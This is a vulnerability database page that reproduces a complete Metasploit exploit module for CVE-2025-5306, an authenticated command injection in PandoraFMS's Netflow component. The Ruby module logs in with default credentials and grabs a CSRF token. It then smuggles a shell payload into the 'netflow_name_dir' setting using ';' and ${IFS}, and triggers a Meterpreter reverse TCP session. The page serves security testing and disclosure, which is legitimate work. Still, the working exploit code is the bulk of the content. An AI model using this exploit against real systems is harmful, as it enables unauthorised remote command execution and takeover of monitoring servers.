Lucene search
K

PandoraFMS Netflow Authenticated Remote Code Execution

🗓️ 17 Jul 2025 18:55:06Reported by msutovsky-r7Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 333 Views

This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system. Module Options msf > u...

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-5306
27 Jun 202510:47
circl
CNNVD
Pandora FMS 安全漏洞
27 Jun 202500:00
cnnvd
CVE
CVE-2025-5306
27 Jun 202507:48
cve
Cvelist
CVE-2025-5306 Command Injection in Netflow path
27 Jun 202507:48
cvelist
EUVD
EUVD-2025-19256
27 Jun 202507:48
euvd
NVD
CVE-2025-5306
27 Jun 202508:15
nvd
OSV
CVE-2025-5306
27 Jun 202508:15
osv
Packet Storm
📄 PandoraFMS Netflow Authenticated Remote Code Execution
17 Jul 202500:00
packetstorm
Packet Storm
📄 PandoraFMS Netflow 7.0.777.10 Command Injection
13 Feb 202600:00
packetstorm
Positive Technologies
PT-2025-27064 · Unknown · Pandora Fms
27 Jun 202500:00
ptsecurity
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'PandoraFMS Netflow Authenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a command injection vulnerability in Netflow component of PandoraFMS. The module requires a set of user credentials to modify Netflow settings. Also, Netflow binaries have to be present on the system.
        },
        'License' => MSF_LICENSE,
        'Author' => ['msutovsky-r7'], # researcher, module dev
        'References' => [
          [ 'CVE', '2025-5306']
        ],
        'Privileged' => false,
        'Targets' => [

          [
            'Linux/Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Arch' => [ ARCH_CMD]
            }
          ]
        ],
        'DisclosureDate' => '2025-06-27',
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 80,
          'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp',
          'FETCH_WRITABLE_DIR' => '/tmp'
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to PandoraFMS application', '/pandora_console/']),
        OptString.new('USERNAME', [true, 'Username to PandoraFMS applicaton', 'admin']),
        OptString.new('PASSWORD', [true, 'Password to PandoraFMS application', 'pandora'])
      ]
    )
  end

  def check
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'login' => '1' },
      'keep_cookies' => true
    })
    return Msf::Exploit::CheckCode::Unknown('Received unexpected response') unless res&.code == 200

    html = res.get_html_document

    return Msf::Exploit::CheckCode::Unknown('Response seems to be empty') unless html

    version = html.at('div[@id="ver_num"]')&.text

    @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)

    return Msf::Exploit::CheckCode::Safe('Application is not probably PandoraFMS') if version.blank?

    version = version[1..]&.sub('NG', '')

    vprint_warning('Token was not parsed, will try again') unless @csrf_token

    vprint_status("Version #{version} detected")

    return Exploit::CheckCode::Appears("Vulnerable PandoraFMS version #{version} detected") if Rex::Version.new(version).between?(Rex::Version.new('7.0.774'), Rex::Version.new('7.0.777.10'))

    Msf::Exploit::CheckCode::Safe("Running version #{version}, which is not vulnerable")
  end

  def get_csrf_token
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'login' => '1' },
      'keep_cookies' => true
    })
    fail_with Failure::UnexpectedReply, 'Recevied unexpected response' unless res&.code == 200

    html = res.get_html_document

    fail_with Failure::UnexpectedReply, 'Empty response received' unless html

    @csrf_token = html.at('input[@id="hidden-csrf_code"]')&.attributes&.fetch('value', nil)

    fail_with Failure::NotFound, 'Could not found CSRF token' unless @csrf_token
  end

  ##
  # Checks whether login response was valid and successful. It check whether response code is 200 an if body contains either of following values - id="welcome-icon-header", id="welcome-panel" or "godmode"
  ##
  def login_successful?(res)
    res&.code == 200 && res.body.include?('id="welcome-icon-header"') || res.body.include?('id="welcome_panel"') || res.body.include?('godmode')
  end

  def login
    res = send_request_cgi!({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'keep_cookies' => true,
      'vars_get' => { 'login' => '1' },
      'vars_post' =>
      {
        'nick' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD'],
        'login_button' => "Let's go",
        'csrf_code' => @csrf_token
      }
    })
    fail_with Failure::NoAccess, 'Invalid credentials' unless login_successful?(res)
  end

  def valid_netflow_options?(opts)
    opts.each do |item|
      return false if item.blank?
    end
  end

  def configure_netflow
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' }
    })

    fail_with Failure::NotFound, 'Netflow might not be enabled' unless res&.code == 200

    html = res.get_html_document

    fail_with Failure::UnexpectedReply, 'Unexpected response when trying to configure Netflow' unless html

    netflow_daemon_value = html.at('input[@name="netflow_daemon"]')&.attributes&.fetch('value', nil)
    netflow_nfdump_value = html.at('input[@name="netflow_nfdump"]')&.attributes&.fetch('value', nil)
    html.at('input[@name="netflow_nfexpire"]')&.attributes&.fetch('value', nil)
    netflow_max_resolution_value = html.at('input[@name="netflow_max_resolution"]')&.attributes&.fetch('value', nil)
    netflow_disable_custom_lvfilters_sent_value = html.at('input[@name="netflow_disable_custom_lvfilters_sent"]')&.attributes&.fetch('value', nil)
    netflow_max_lifetime_value = html.at('input[@name="netflow_max_lifetime"]')&.attributes&.fetch('value', nil)
    netflow_interval_value = html.at('select[@name="netflow_interval"]//option[@selected="selected"]')&.attributes&.fetch('value', nil)

    request_data = {
      'netflow_daemon' => netflow_daemon_value,
      'netflow_nfdump' => netflow_nfdump_value,
      'netflow_max_resolution' => netflow_max_resolution_value,
      'netflow_disable_custom_lvfilters_sent' => netflow_disable_custom_lvfilters_sent_value,
      'netflow_max_lifetime' => netflow_max_lifetime_value,
      'netflow_interval' => netflow_interval_value
    }

    fail_with Failure::Unknown, 'Failed to get existing Netflow configuration' unless valid_netflow_options?(request_data)

    request_data.merge!({
      'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#',
      'update_config' => '1',
      'upd_button' => 'Update'
    })

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
      'vars_post' => request_data
    })
    fail_with Failure::PayloadFailed, 'Failed to configure Netflow' unless res&.code == 200
  end

  def trigger_payload
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'vars_get' => { 'sec' => 'network_traffic', 'sec2' => 'operation/netflow/netflow_explorer' }
    })
  end

  def exploit
    # do we have csrf token already
    get_csrf_token unless @csrf_token

    login

    configure_netflow

    trigger_payload
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jun 2026 19:02Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
CVSS 47
EPSS0.19944
SSVC
333